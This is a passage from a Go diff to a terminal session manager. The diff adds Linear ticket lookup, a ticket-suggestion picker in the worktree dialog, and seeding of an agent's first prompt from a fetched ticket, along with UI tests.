h.dispatchForkToWorktree(ctx, msg.info.Path, msg.info.Name) } + if line := ticketStatusLine(msg.ticket, msg.ticketErr); line != "" { + h.setInfo(line) + } + prompt := "" + if msg.ticket != nil { + prompt = msg.ticket.Prompt + } return h.handleSessionCreate(sessionCreateMsg{ path: msg.info.Path, title: msg.info.Name, workspaceName: msg.info.Name, + prompt: prompt, }) + case ticketReadyMsg: + // Inference finished. The session starts either way — a Linear failure + // costs the seeded prompt, never the pane. + if line := ticketStatusLine(msg.res, msg.err); line != "" { + h.setInfo(line) + } + create := msg.create + if msg.res != nil { + create.prompt = msg.res.Prompt + } + return h, h.startSessionCmd(create) + case deleteCleanupDoneMsg: for i, pd := range h.finalizingDeletes { if pd.Session.ID == msg.sessionID { @@ -3187,6 +3219,16 @@ func (h *Home) handleSessionCreate(msg sessionCreateMsg) (tea.Model, tea.Cmd) { h.setInfo(conflict.Message(msg.account)) } } + // A branch that names a Linear issue gets the ticket read for it. The fast + // path (a worktree already materialized) is one stat and returns inline; + // only a first-time fetch defers the launch, and even then a failure starts + // the session anyway. + if prompt, cmd := h.ticketPromptFor(msg); cmd != nil { + h.setInfo("Fetching the Linear ticket for this branch…") + return h, cmd + } else if prompt != "" { + msg.prompt = prompt + } return h, h.startSessionCmd(msg) } @@ -3535,6 +3577,9 @@ func (h *Home) startSessionCmd(msg sessionCreateMsg) tea.Cmd { if msg.resumeClaudeID != "" { s.ClaudeSessionID = msg.resumeClaudeID } + // One-shot: Session.Start clears it via consumeInitialPromptLocked, and it + // is never persisted, so a restart doesn't re-ask the original question. + s.InitialPrompt = msg.prompt return func() tea.Msg { if err := s.Start(); err != nil { debuglog.Logger.Error("session Start() failed", "title", msg.title, "path", msg.path, "err", err) @@ -6956,7 +7001,18 @@ func (h *Home) fetchWorkspaceListForRepo(repoPath string) tea.Cmd { } workspaces, err := provider.List(repoPath) defaultBranch := git.GetDefaultBranch(repoPath) - return workspaceListMsg{workspaces: workspaces, provider: provider, repoPath: repoPath, defaultBranch: defaultBranch, originKey: originKey, err: err} + // Resolved here, on the worker goroutine, so the dialog never probes the + // filesystem or PATH from Update(). Empty when the repo has no + // .linear.toml or `linear` isn't installed, which makes every ticket + // surface in the dialog inert. + linearTeam := "" + if linear.Available() { + linearTeam, _ = linear.TeamKey(repoPath) + } + return workspaceListMsg{ + workspaces: workspaces, provider: provider, repoPath: repoPath, + defaultBranch: defaultBranch, originKey: originKey, linearTeam: linearTeam, err: err, + } } } diff --git a/internal/ui/dialogs.go b/internal/ui/dialogs.go index 34dc08a9..2c945486 100644 --- a/internal/ui/dialogs.go +++ b/internal/ui/dialogs.go @@ -28,6 +28,12 @@ type sessionCreateMsg struct { // account is the Claude account (email) to authenticate as. Empty means // "let the configured strategy pick", resolved in handleSessionCreate. account string + // prompt is the agent's first message, handed to Session.InitialPrompt so + // the pane opens already working on it. Set by the Linear-ticket paths + // (which point the agent at a materialized ticket and tell it to read + // rather than start). Empty for every other creation path, which is the + // long-standing behaviour. + prompt string } // forkSessionMsg is sent when the user forks an existing session. diff --git a/internal/ui/ticket.go b/internal/ui/ticket.go new file mode 100644 index 00000000..87dcb9aa --- /dev/null +++ b/internal/ui/ticket.go @@ -0,0 +1,160 @@ +package ui + +import ( + "context" + "errors" + "fmt" + "path/filepath" + "strings" + "time" + + tea "charm.land/bubbletea/v2" + "github.com/brizzai/fleet/internal/debuglog" + "github.com/brizzai/fleet/internal/linear" + "github.com/brizzai/fleet/internal/session" +) + +// ticketMaterializeBudget bounds the whole fetch-and-write step when it runs on +// the session-creation path, where a human is waiting for a pane to appear. +// Generous enough for a ticket with a dozen screenshots on a slow link, short +// enough that a wedged CLI doesn't feel like a hang: the session starts either +// way, and past this the prompt simply isn't seeded. +const ticketMaterializeBudget = 25 * time.Second + +// ticketReadyMsg carries the outcome of an inferred materialization back to the +// Update loop, with the session-creation request it was blocking. +type ticketReadyMsg struct { + create sessionCreateMsg + res *linear.Result + err error +} + +// materializeTicket writes a Linear ticket and its screenshots into a freshly +// created worktree. +// +// Called from the worktree-creation closure, off the Update goroutine, beside +// copyClaudeSettingsFile and CopyConfiguredFiles — and with the same contract: +// it never fails its caller. A nil result means no prompt gets seeded, which is +// the honest outcome, because a prompt pointing at files that were never +// written is worse than no prompt. +func materializeTicket(repoPath, worktreePath string, t *linear.Ticket, moveState bool) (*linear.Result, error) { + if t == nil || !t.Ok() { + return nil, nil + } + ctx, cancel := context.WithTimeout(context.Background(), ticketMaterializeBudget) + defer cancel() + + res, err := linear.Materialize(ctx, linear.Opts{ + RepoDir: repoPath, + WorktreePath: worktreePath, + Identifier: t.Identifier, + Ticket: *t, + MoveState: moveState, + }) + if err != nil { + debuglog.Logger.Warn("linear: materialize failed", "id", t.Identifier, "worktree", worktreePath, "err", err) + return nil, err + } + return &res, nil +} + +// ticketPromptFor resolves the first message for a session about to start in +// path, when that path's branch names a Linear issue. +// +// Runs on the Update goroutine, so it does no I/O beyond a stat: the branch +// comes from the git cache the worker already maintains, the identifier is a +// regex, and the reuse check is one ReadDir plus one ReadFile. That last check +// is the steady state — every session after the first in a ticket worktree hits +// it, with no subprocess and no network. +// +// Returns (prompt, nil) for the fast path, ("", cmd) when a fetch is needed, and +// ("", nil) when there is nothing to do. +func (h *Home) ticketPromptFor(msg sessionCreateMsg) (string, tea.Cmd) { + if msg.prompt != "" || msg.path == "" || !linear.Available() { + return "", nil + } + if prompt, ok := linear.ExistingPrompt(msg.path); ok { + return prompt, nil + } + + repoRoot := session.GetRepoRoot(msg.path) + // The .linear.toml gate is what keeps false positives free: a branch named + // fix-123 in a repo that doesn't use Linear never costs a subprocess. + teamKey, connected := linear.TeamKey(msg.path) + if !connected { + if teamKey, connected = linear.TeamKey(repoRoot); !connected { + return "", nil + } + } + + branch := "" + if info, ok := h.gitInfo()[repoRoot]; ok && info != nil { + branch = info.Branch + } + id := linear.IdentifierFromBranch(branch, teamKey) + if id == "" { + // A worktree fleet made is named -, so the directory + // still carries the identifier when the git cache is cold. + id = linear.IdentifierFromBranch(pathTailAfterRepo(msg.path), teamKey) + } + if id == "" || linear.NegativelyPinned(msg.path, id) { + return "", nil + } + + create := msg + path := msg.path + return "", func() tea.Msg { + ctx, cancel := context.WithTimeout(context.Background(), ticketMaterializeBudget) + defer cancel() + // Note MoveState is false on this path, always. Creating a worktree + // from a ticket is an unambiguous "I'm starting this"; opening another + // session in a worktree that already exists is not, and by then a human + // may have moved the issue on. + res, err := linear.Materialize(ctx, linear.Opts{ + RepoDir: path, + WorktreePath: path, + Identifier: id, + MoveState: false, + }) + if err != nil { + return ticketReadyMsg{create: create, err: err} + } + return ticketReadyMsg{create: create, res: &res} + } +} + +// pathTailAfterRepo returns the part of a fleet-made worktree directory name +// that follows the repo name, e.g. /code/brizzai-brz-3182-fix → "brz-3182-fix". +func pathTailAfterRepo(path string) string { + base := filepath.Base(path) + root := filepath.Base(session.GetRepoRoot(path)) + if root != "" && root != base && len(base) > len(root)+1 && strings.HasPrefix(base, root+"-") { + return base[len(root)+1:] + } + return base +} + +// ticketStatusLine renders what happened, for the one line the user sees. +func ticketStatusLine(res *linear.Result, err error) string { + switch { + case err != nil: + if errors.Is(err, linear.ErrNotFound) || errors.Is(err, linear.ErrNotInstalled) { + return "" + } + return fmt.Sprintf("Linear: %v — starting without the ticket", err) + case res == nil: + return "" + } + + line := fmt.Sprintf("%s materialized", res.Identifier) + switch { + case res.Images > 0 && res.UsedFallback: + line += fmt.Sprintf(" with %d image(s) — fetched directly, your `linear` CLI is too old to download them", res.Images) + case res.Images > 0: + line += fmt.Sprintf(" with %d image(s)", res.Images) + } + if res.StateMoved != "" { + line += " · moved to started" + } + return line +} diff --git a/internal/ui/worker_cadence_test.go b/internal/ui/worker_cadence_test.go index e6b7c897..4b137740 100644 --- a/internal/ui/worker_cadence_test.go +++ b/internal/ui/worker_cadence_test.go @@ -511,3 +511,26 @@ func TestStatusWorkerFeedsHookChangesIntoPriority(t *testing.T) { "that read and fall back to the round-robin", bound, mergePos, firstRead) } } + +// TestTicketWorkStaysOffTheWorkers guards workerStallThreshold's budget. +// +// The comment on that constant budgets ~70s of a 90s ceiling per repo (≈40s git +// plus two chained 15s gh calls). A `linear` call added to the per-repo fan-out +// would eat the remaining margin and turn the stall watchdog into a source of +// false goroutine dumps — and the instinct to "just refresh the ticket here" +// will be strong, because that is where every other external lookup lives. +// +// It is safe to keep Linear out of the workers only because the design ships no +// badge: there is no live ticket state on screen, so there is nothing to poll. +// Every ticket fetch is event-driven and one-shot. +func TestTicketWorkStaysOffTheWorkers(t *testing.T) { + for _, fn := range []string{"refreshAllGitAndPR", "gitWorkerCycle", "statusWorkerCycle"} { + if mentions(t, fn, "linear") { + t.Errorf("%s reaches into internal/linear — a network call there blows the "+ + "~70s per-repo budget that workerStallThreshold (90s) is sized against", fn) + } + if mentions(t, fn, "materializeTicket") { + t.Errorf("%s materializes tickets; that work is event-driven and one-shot by design", fn) + } + } +} diff --git a/internal/ui/workspace_create.go b/internal/ui/workspace_create.go index 761af30c..ab103dee 100644 --- a/internal/ui/workspace_create.go +++ b/internal/ui/workspace_create.go @@ -8,6 +8,7 @@ import ( "charm.land/bubbles/v2/textinput" tea "charm.land/bubbletea/v2" "charm.land/lipgloss/v2" + "github.com/brizzai/fleet/internal/linear" "github.com/brizzai/fleet/internal/workspace" ) @@ -33,12 +34,23 @@ type ( name, branch, baseBranch string repoPath string provider workspace.Provider + // ticket is the Linear issue this branch name was derived from, nil + // when the user typed a name. Carried rather than re-fetched: the + // dialog already paid the round trip while the user was looking at the + // form, and a second fetch can fail differently. + ticket *linear.Ticket } workspaceCreateResultMsg struct { info *workspace.WorkspaceInfo err error pendingID string repoPath string + // ticket describes what was materialized into the new worktree, nil + // when there was no ticket or nothing usable landed. ticketErr is + // advisory only — the session always starts (see the closure in + // app.go's workspaceCreateMsg handler). + ticket *linear.Result + ticketErr error } // deleteCleanupDoneMsg fires when finalizeDelete's background cleanup // (tmux kill, hook removal, optional workspace destroy) completes. The diff --git a/internal/ui/workspace_picker.go b/internal/ui/workspace_picker.go index 5de8d957..077b0f3c 100644 --- a/internal/ui/workspace_picker.go +++ b/internal/ui/workspace_picker.go @@ -8,6 +8,7 @@ import ( "charm.land/bubbles/v2/textinput" tea "charm.land/bubbletea/v2" "charm.land/lipgloss/v2" + "github.com/brizzai/fleet/internal/linear" "github.com/brizzai/fleet/internal/session" "github.com/brizzai/fleet/internal/workspace" ) @@ -20,7 +21,11 @@ type ( repoPath string defaultBranch string originKey string // origin of repoPath (native provider); seeds gitInfoCache so the phantom groups correctly - err error + // linearTeam is the team key from the repo's .linear.toml, resolved + // off-loop alongside the worktree list. Empty means the repo isn't + // Linear-connected and every ticket surface below stays inert. + linearTeam string + err error } workspaceSelectedMsg struct { info workspace.WorkspaceInfo @@ -42,7 +47,20 @@ const ( focusWorktreeList ) +// ticketOnInput is the ticket-cursor value meaning "the field itself": the +// caret is visible and no row carries the highlight. +const ticketOnInput = -1 + +// ticketMaxRows caps the suggestion list. Small on purpose — this is a branch +// field that learned to recognise tickets, not a ticket browser. +const ticketMaxRows = 5 + // WorktreeDialog shows base branch + new branch inputs + existing worktrees. +// +// The New branch field doubles as a ticket picker: type an identifier and it +// resolves in place, type prose and matching issues appear one ↓ below. The +// field IS the literal option, so there is never a "use what I typed" row and +// never two things claiming the Enter key. type WorktreeDialog struct { visible bool width, height int @@ -58,6 +76,35 @@ type WorktreeDialog struct { provider workspace.Provider sessionCounts map[string]int defaultBranch string + + // --- Linear ticket suggestions under the New branch field --- + + // linearTeam is the team key from .linear.toml. Empty means the whole + // feature is inert: no lookups, no rows, no footer changes, and the dialog + // renders exactly as it did before any of this existed. + linearTeam string + + // ticketCursor is the second coordinate of the highlight while focus is + // focusNewBranch: ticketOnInput is the field, 0..n-1 is a row. Forced back + // to ticketOnInput under any other focus, or two ▸ markers render at once. + ticketCursor int + + tickets []linear.Ticket + + // resolved is the issue the CURRENT field text denotes. Cleared + // synchronously the moment the text stops denoting it, so a stale title can + // never sit under a changed identifier even for one frame. + resolved *linear.Ticket + + lastInput string // change detector, so a redraw doesn't refire a lookup + ticketGen int // monotonic; tags the debounce tick and the lookup it fires + ticketPending bool + ticketNote string // one dim line explaining a degradation; never blocks Enter + + // ticketsOff latches after a failure that will keep failing (not logged in, + // CLI missing). Without it a broken `linear` forks a subprocess on every + // pause, forever. + ticketsOff bool } // NewWorktreeDialog creates a new worktree dialog. @@ -80,20 +127,30 @@ func NewWorktreeDialog() *WorktreeDialog { } // Show populates and shows the dialog. -func (d *WorktreeDialog) Show(workspaces []workspace.WorkspaceInfo, sessions []*session.Session, provider workspace.Provider, repoPath, defaultBranch string) { +func (d *WorktreeDialog) Show(workspaces []workspace.WorkspaceInfo, sessions []*session.Session, provider workspace.Provider, repoPath, defaultBranch, linearTeam string) { d.visible = true d.workspaces = workspaces d.provider = provider d.repoPath = repoPath d.defaultBranch = defaultBranch d.cursor = 0 - d.focus = focusNewBranch d.err = "" d.loading = false d.baseBranchInput.SetValue(defaultBranch) - d.baseBranchInput.Blur() d.newBranchInput.SetValue("") - d.newBranchInput.Focus() + + d.linearTeam = linearTeam + d.tickets = nil + d.resolved = nil + d.lastInput = "" + d.ticketPending = false + d.ticketNote = "" + d.ticketsOff = false + // Monotonic, never reset to zero. A per-dialog counter that restarted would + // recycle values, so a reply from a previous open could match a new one + // where the user had typed the same number of characters. + d.ticketGen++ + d.setSelection(focusNewBranch, ticketOnInput) // Build session counts by project path. d.sessionCounts = make(map[string]int) @@ -129,19 +186,60 @@ func (d *WorktreeDialog) SetSize(w, h int) { d.height = h } -func (d *WorktreeDialog) updateFocus() { +// setSelection is the ONLY place that moves the highlight. +// +// It clamps, it keeps exactly one thing highlighted, and it keeps the caret +// where the highlight is — the rule the snooze dialog established as "the +// highlight is the promise". Every navigation key is a one-liner through here, +// and TestWorktreeSelectionMutatorIsTheOnlyWriter keeps it that way. +// +// Resetting ticketCursor when focus leaves the New-branch region is not +// housekeeping: without it, moving to the worktree list leaves a ▸ on a ticket +// row as well as on a worktree row, and nothing downstream catches it. +func (d *WorktreeDialog) setSelection(f worktreeFocus, idx int) { + if f == focusWorktreeList && len(d.workspaces) == 0 { + f = focusNewBranch + idx = ticketOnInput + } + d.focus = f + d.ticketCursor = ticketOnInput + + switch f { + case focusNewBranch: + if hi := d.visibleTicketCount() - 1; idx > hi { + idx = hi + } + if idx < ticketOnInput { + idx = ticketOnInput + } + d.ticketCursor = idx + case focusWorktreeList: + d.cursor = clampInt(idx, 0, len(d.workspaces)-1) + } + d.baseBranchInput.Blur() d.newBranchInput.Blur() - switch d.focus { - case focusBaseBranch: + switch { + case f == focusBaseBranch: d.baseBranchInput.Focus() - case focusNewBranch: + case f == focusNewBranch && d.ticketCursor == ticketOnInput: d.newBranchInput.Focus() } } // Update handles key events. func (d *WorktreeDialog) Update(msg tea.Msg) (*WorktreeDialog, tea.Cmd) { + // Ticket messages are handled above BOTH the loading early-return and the + // non-key fall-through below, which would otherwise feed them straight into + // a text input. They self-guard on visibility and generation. + switch m := msg.(type) { + case worktreeTicketTickMsg: + return d, d.onDebounceElapsed(m) + case worktreeTicketsMsg: + d.applyTickets(m) + return d, nil + } + keyMsg, isKey := msg.(tea.KeyMsg) if d.loading { @@ -165,13 +263,14 @@ func (d *WorktreeDialog) Update(msg tea.Msg) (*WorktreeDialog, tea.Cmd) { case "tab", "down": switch d.focus { case focusBaseBranch: - d.focus = focusNewBranch - d.updateFocus() + d.setSelection(focusNewBranch, ticketOnInput) case focusNewBranch: - if len(d.workspaces) > 0 { - d.focus = focusWorktreeList - d.cursor = 0 - d.updateFocus() + // Ticket rows sit between the field and the worktree list, so ↓ + // walks into them first when there are any. + if next := d.ticketCursor + 1; next < d.visibleTicketCount() { + d.setSelection(focusNewBranch, next) + } else if len(d.workspaces) > 0 { + d.setSelection(focusWorktreeList, 0) } case focusWorktreeList: if d.cursor < len(d.workspaces)-1 { @@ -185,14 +284,16 @@ func (d *WorktreeDialog) Update(msg tea.Msg) (*WorktreeDialog, tea.Cmd) { case focusBaseBranch: // Already at top, no-op. case focusNewBranch: - d.focus = focusBaseBranch - d.updateFocus() + if d.ticketCursor > ticketOnInput { + d.setSelection(focusNewBranch, d.ticketCursor-1) + } else { + d.setSelection(focusBaseBranch, 0) + } case focusWorktreeList: if d.cursor > 0 { d.cursor-- } else { - d.focus = focusNewBranch - d.updateFocus() + d.setSelection(focusNewBranch, d.visibleTicketCount()-1) } } return d, nil @@ -204,6 +305,14 @@ func (d *WorktreeDialog) Update(msg tea.Msg) (*WorktreeDialog, tea.Cmd) { d.Hide() return d, func() tea.Msg { return workspaceSelectedMsg{info: info} } } + // Enter on a highlighted ticket fills the field; it does NOT create. + // The base branch may still be wrong and the derived name must stay + // editable, so the second Enter is the one that acts — and the footer + // names each of them. + if d.focus == focusNewBranch && d.ticketCursor >= 0 && d.ticketCursor < len(d.tickets) { + d.pickTicket(d.tickets[d.ticketCursor]) + return d, nil + } // Create new worktree from inputs. newBranch := strings.TrimSpace(d.newBranchInput.Value()) if errMsg := workspace.ValidateBranchName(newBranch); errMsg != "" { @@ -219,12 +328,23 @@ func (d *WorktreeDialog) Update(msg tea.Msg) (*WorktreeDialog, tea.Cmd) { name := workspace.SanitizeBranchName(newBranch) provider := d.provider repoPath := d.repoPath + // Capture before Hide, which clears the resolution. + ticket := d.ticketForCurrentInput() d.Hide() return d, func() tea.Msg { - return workspaceCreateMsg{name: name, branch: newBranch, baseBranch: baseBranch, repoPath: repoPath, provider: provider} + return workspaceCreateMsg{ + name: name, branch: newBranch, baseBranch: baseBranch, + repoPath: repoPath, provider: provider, ticket: ticket, + } } } + // Typing from a ticket row returns the highlight to the field AND keeps the + // keystroke — setSelection runs before the fall-through, so the same message + // is consumed by the input. Same ordering as the snooze dialog. + if d.focus == focusNewBranch && d.ticketCursor != ticketOnInput && isTypingKey(keyMsg.String()) { + d.setSelection(focusNewBranch, ticketOnInput) + } return d.routeToInput(msg) } @@ -243,6 +363,14 @@ func (d *WorktreeDialog) routeToInput(msg tea.Msg) (*WorktreeDialog, tea.Cmd) { if sanitized != current { d.newBranchInput.SetValue(sanitized) d.newBranchInput.SetCursor(newPos) + current = sanitized + } + // Change-triggered, not keystroke-triggered: a plain redraw must not + // schedule a lookup. + if current != d.lastInput { + if tick := d.onFieldChanged(current); tick != nil { + return d, tea.Batch(cmd, tick) + } } } return d, cmd @@ -274,12 +402,22 @@ func (d *WorktreeDialog) View() string { b.WriteString(d.baseBranchInput.View()) b.WriteString("\n\n") - // New branch input. + // New branch input. The team key beside the label is the whole + // configuration disclosure, three characters: this repo is Linear-connected + // and that is its team. b.WriteString(DimStyle.Render("New branch:")) + if d.linearTeam != "" { + b.WriteString(DimStyle.Render(" " + d.linearTeam)) + } b.WriteString("\n") b.WriteString(d.newBranchInput.View()) b.WriteString("\n") + // Ticket suggestions sit directly under the field: they are candidates for + // its contents, so putting the path preview between them would break the + // "one ↓ below" promise literally. + b.WriteString(d.renderTicketBlock(d.innerWidth())) + // Path preview. newBranch := strings.TrimSpace(d.newBranchInput.Value()) if newBranch != "" { @@ -308,7 +446,14 @@ func (d *WorktreeDialog) View() string { } b.WriteString("\n") - b.WriteString(DimStyle.Render("tab: next enter: create esc: cancel")) + // The footer names what Enter does right now, changing as the highlight + // moves — so the highlight's promise is also stated in words. Falls back to + // the long-standing hint when there is nothing more specific to say. + footer := d.ticketFooter() + if footer == "" { + footer = "tab: next enter: create esc: cancel" + } + b.WriteString(DimStyle.Render(footer)) return d.wrapDialog(b.String()) } @@ -357,14 +502,25 @@ func (d *WorktreeDialog) renderWorktreeRow(ws *workspace.WorkspaceInfo, selected return strings.Join(parts, " ") } -func (d *WorktreeDialog) wrapDialog(content string) string { - dialogWidth := d.width - 4 - if dialogWidth > 64 { - dialogWidth = 64 +// innerWidth is the content column inside the dialog box: wrapDialog's clamped +// width less DialogStyle's Padding(1, 2) on each side. +func (d *WorktreeDialog) innerWidth() int { + return d.dialogWidth() - 4 +} + +func (d *WorktreeDialog) dialogWidth() int { + w := d.width - 4 + if w > 64 { + w = 64 } - if dialogWidth < 30 { - dialogWidth = 30 + if w < 30 { + w = 30 } + return w +} + +func (d *WorktreeDialog) wrapDialog(content string) string { + dialogWidth := d.dialogWidth() box := DialogStyle.Width(dialogWidth).Render(content) return lipgloss.Place(d.width, d.height, lipgloss.Center, lipgloss.Center, box) diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go new file mode 100644 index 00000000..d63678fb --- /dev/null +++ b/internal/ui/workspace_picker_ticket.go @@ -0,0 +1,295 @@ +package ui + +import ( + "context" + "errors" + "fmt" + "strings" + "time" + + tea "charm.land/bubbletea/v2" + "github.com/brizzai/fleet/internal/linear" + "github.com/brizzai/fleet/internal/workspace" + "github.com/charmbracelet/x/ansi" +) + +// ticketDebounce is how long the field must be still before a lookup fires. +// +// Not per-keystroke: `linear issue view` is a ~0.5s subprocess, so typing an +// 8-character identifier at normal speed would fork eight of them and their +// replies would land out of order. 250ms is below the threshold where a pause +// feels deliberate, and the generation counter cleans up the rest. +const ticketDebounce = 250 * time.Millisecond + +// ticketLookupTimeout bounds one lookup. Generous against a measured ~0.5s, and +// past it the answer is worthless anyway — Enter never waits on this. +const ticketLookupTimeout = 6 * time.Second + +// ticketMinQueryLen is the shortest prose that earns a search. Below this a +// query returns noise and still costs half a second. +const ticketMinQueryLen = 3 + +type ( + // worktreeTicketTickMsg is the debounce firing. gen is the value at the + // keystroke that scheduled it; a newer keystroke makes it stale. + worktreeTicketTickMsg struct{ gen int } + + // worktreeTicketsMsg is a completed lookup. + worktreeTicketsMsg struct { + gen int + query string + byID bool + tickets []linear.Ticket + err error + } +) + +// ticketsEnabled reports whether any ticket surface should exist at all. +func (d *WorktreeDialog) ticketsEnabled() bool { + return d.linearTeam != "" && !d.ticketsOff +} + +// visibleTicketCount is how many rows are actually rendered, which is what the +// cursor must be clamped against — a terminal resize can shrink the block below +// the number of tickets fetched, and a cursor past the last rendered row is an +// invisible highlight. +func (d *WorktreeDialog) visibleTicketCount() int { + if !d.ticketsEnabled() { + return 0 + } + return min(len(d.tickets), ticketMaxRows) +} + +// onFieldChanged reacts synchronously to new text in the New branch field and +// returns the debounce tick, if a lookup is warranted. +// +// The synchronous half matters as much as the async one: dropping a stale +// resolution here is what stops an old ticket's title sitting under a changed +// identifier for the length of the debounce. +func (d *WorktreeDialog) onFieldChanged(text string) tea.Cmd { + d.lastInput = text + + // Keep the resolution while the field still leads with its identifier, so + // tweaking the tail (…-v2) doesn't silently drop the ticket link. + if d.resolved != nil && !strings.HasPrefix(strings.ToLower(text), strings.ToLower(d.resolved.Identifier)) { + d.resolved = nil + } + if !d.ticketsEnabled() { + return nil + } + + d.ticketGen++ + gen := d.ticketGen + return tea.Tick(ticketDebounce, func(time.Time) tea.Msg { + return worktreeTicketTickMsg{gen: gen} + }) +} + +// onDebounceElapsed decides whether the pause earns a subprocess. +func (d *WorktreeDialog) onDebounceElapsed(m worktreeTicketTickMsg) tea.Cmd { + if !d.visible || m.gen != d.ticketGen || !d.ticketsEnabled() { + return nil + } + text := strings.TrimSpace(d.newBranchInput.Value()) + if text == "" { + d.tickets, d.ticketNote, d.ticketPending = nil, "", false + return nil + } + + repoPath := d.repoPath + team := d.linearTeam + gen := m.gen + + if id, ok := linear.LooksLikeIdentifier(text, team); ok { + if d.resolved != nil && strings.EqualFold(d.resolved.Identifier, id) { + return nil // already resolved; don't refire on a redraw + } + d.ticketPending = true + return func() tea.Msg { + ctx, cancel := context.WithTimeout(context.Background(), ticketLookupTimeout) + defer cancel() + t, err := linear.Fetch(ctx, repoPath, id) + return worktreeTicketsMsg{gen: gen, query: text, byID: true, tickets: []linear.Ticket{t}, err: err} + } + } + + if len([]rune(text)) < ticketMinQueryLen { + return nil + } + d.ticketPending = true + return func() tea.Msg { + ctx, cancel := context.WithTimeout(context.Background(), ticketLookupTimeout) + defer cancel() + items, err := linear.Search(ctx, repoPath, team, text, ticketMaxRows) + return worktreeTicketsMsg{gen: gen, query: text, tickets: items, err: err} + } +} + +// applyTickets installs a reply, or drops it. +// +// The generation check is what stops this failure: type BRZ-3182, edit to +// BRZ-3184, and the slower first reply overwrites the field with the wrong +// ticket's branch name — which then becomes a real git branch. +// +// It deliberately never moves the highlight. If the cursor is on the input (the +// overwhelmingly common case) it stays there, caret intact, whatever lands. +func (d *WorktreeDialog) applyTickets(m worktreeTicketsMsg) { + if !d.visible || m.gen != d.ticketGen { + return + } + d.ticketPending = false + d.ticketNote = "" + + if m.err != nil { + switch { + case errors.Is(m.err, linear.ErrNotFound): + if m.byID { + d.ticketNote = m.query + " — no such issue" + } + case errors.Is(m.err, linear.ErrNotConfigured), errors.Is(m.err, linear.ErrNotAuthenticated): + d.ticketNote = "linear: not logged in — run `linear auth`" + d.ticketsOff = true // it will keep failing; stop forking subprocesses + case errors.Is(m.err, linear.ErrNotInstalled): + d.ticketsOff = true + case errors.Is(m.err, context.DeadlineExceeded): + d.ticketNote = "linear: timed out" + default: + d.ticketNote = "linear: unavailable" + } + d.tickets = nil + if d.focus == focusNewBranch { + d.setSelection(focusNewBranch, d.ticketCursor) + } + return + } + + if m.byID { + // An identifier resolves IN PLACE. The highlight does not jump to a + // row — a picker that moves its own selection is the ambiguity coming + // back through the window. + d.tickets = nil + if len(m.tickets) > 0 && m.tickets[0].Ok() { + t := m.tickets[0] + d.resolved = &t + } + if d.focus == focusNewBranch { + d.setSelection(focusNewBranch, ticketOnInput) + } + return + } + + d.tickets = m.tickets + if len(d.tickets) > ticketMaxRows { + d.tickets = d.tickets[:ticketMaxRows] + } + if d.focus == focusNewBranch { + d.setSelection(focusNewBranch, d.ticketCursor) + } +} + +// pickTicket fills the field from a highlighted row and collapses back to the +// resolved state, so both ways of naming a ticket end up identical. +func (d *WorktreeDialog) pickTicket(t linear.Ticket) { + branch := linear.BranchNameFor(t.Identifier, t.Title) + d.newBranchInput.SetValue(branch) + d.newBranchInput.SetCursor(len([]rune(branch))) + d.lastInput = branch // don't re-query the name we just wrote + ticket := t + d.resolved = &ticket + d.tickets = nil + d.ticketNote = "" + d.ticketPending = false + d.ticketGen++ // invalidate anything in flight + d.setSelection(focusNewBranch, ticketOnInput) + d.err = "" +} + +// ticketForCurrentInput returns the ticket the field currently denotes, for the +// creation message. Nil when the user typed a plain branch name. +func (d *WorktreeDialog) ticketForCurrentInput() *linear.Ticket { + if d.resolved == nil { + return nil + } + text := strings.ToLower(strings.TrimSpace(d.newBranchInput.Value())) + if !strings.HasPrefix(text, strings.ToLower(d.resolved.Identifier)) { + return nil + } + t := *d.resolved + return &t +} + +// renderTicketBlock renders the resolution line and the suggestion rows. +// +// Exactly one of them can carry the highlight, and the caret lives with it — +// see setSelection. innerW is the dialog's content width. +func (d *WorktreeDialog) renderTicketBlock(innerW int) string { + if !d.ticketsEnabled() { + return "" + } + var b strings.Builder + + switch { + case d.ticketPending: + b.WriteString(DimStyle.Render(" ⋯ searching Linear…")) + b.WriteString("\n") + case d.resolved != nil: + line := " " + d.resolved.Identifier + b.WriteString(PROpenStyle.Render(line)) + b.WriteString(DimStyle.Render(" · " + ansi.Truncate(d.resolved.Title, maxInt(innerW-len(line)-3, 8), "…"))) + b.WriteString("\n") + case d.ticketNote != "": + b.WriteString(DimStyle.Render(" " + ansi.Truncate(d.ticketNote, maxInt(innerW-2, 8), "…"))) + b.WriteString("\n") + } + + for i := 0; i < d.visibleTicketCount(); i++ { + t := d.tickets[i] + selected := d.focus == focusNewBranch && d.ticketCursor == i + // Pad the RAW identifier before styling — padding a styled string + // counts the ANSI bytes and the columns come out ragged. + row := fmt.Sprintf("%-9s %s", t.Identifier, t.Title) + row = ansi.Truncate(row, maxInt(innerW-4, 12), "…") + if selected { + b.WriteString(SessionSelectionPrefix.Render("▸ ") + selTitle().Render(row)) + } else { + b.WriteString(" " + DimStyle.Render(row)) + } + b.WriteString("\n") + } + return b.String() +} + +// ticketFooter names what Enter will do right now, so the highlight's promise +// is also stated in words. Empty means "use the dialog's default footer". +func (d *WorktreeDialog) ticketFooter() string { + if d.focus == focusWorktreeList { + return "⏎ open worktree esc: cancel" + } + if d.focus != focusNewBranch { + return "" + } + if d.ticketCursor >= 0 && d.ticketCursor < len(d.tickets) { + return "⏎ use " + d.tickets[d.ticketCursor].Identifier + " ↑ back to typing esc: cancel" + } + text := strings.TrimSpace(d.newBranchInput.Value()) + if text == "" { + if d.ticketsEnabled() { + return "type a branch name or a ticket esc: cancel" + } + return "" + } + if d.resolved != nil { + return "⏎ create " + workspace.SanitizeBranchName(text) + } + if d.visibleTicketCount() > 0 { + return "↓ tickets ⏎ create worktree esc: cancel" + } + return "" +} + +func maxInt(a, b int) int { + if a > b { + return a + } + return b +} diff --git a/internal/ui/workspace_picker_ticket_test.go b/internal/ui/workspace_picker_ticket_test.go new file mode 100644 index 00000000..2e85af35 --- /dev/null +++ b/internal/ui/workspace_picker_ticket_test.go @@ -0,0 +1,343 @@ +package ui + +import ( + "go/ast" + "go/parser" + "go/token" + "strings" + "testing" + + tea "charm.land/bubbletea/v2" + "github.com/brizzai/fleet/internal/linear" + "github.com/brizzai/fleet/internal/workspace" +) + +func ticketDialog(t *testing.T, tickets ...linear.Ticket) *WorktreeDialog { + t.Helper() + d := NewWorktreeDialog() + d.SetSize(120, 40) + d.Show(nil, nil, nil, "/repo", "master", "BRZ") + d.tickets = tickets + return d +} + +// TestWorktreeCaretAndHighlightNeverCoexist is the invariant the whole design +// turns on: a blinking caret and a highlighted row are two things claiming the +// Enter key, and the user has to guess which one it obeys — an expensive 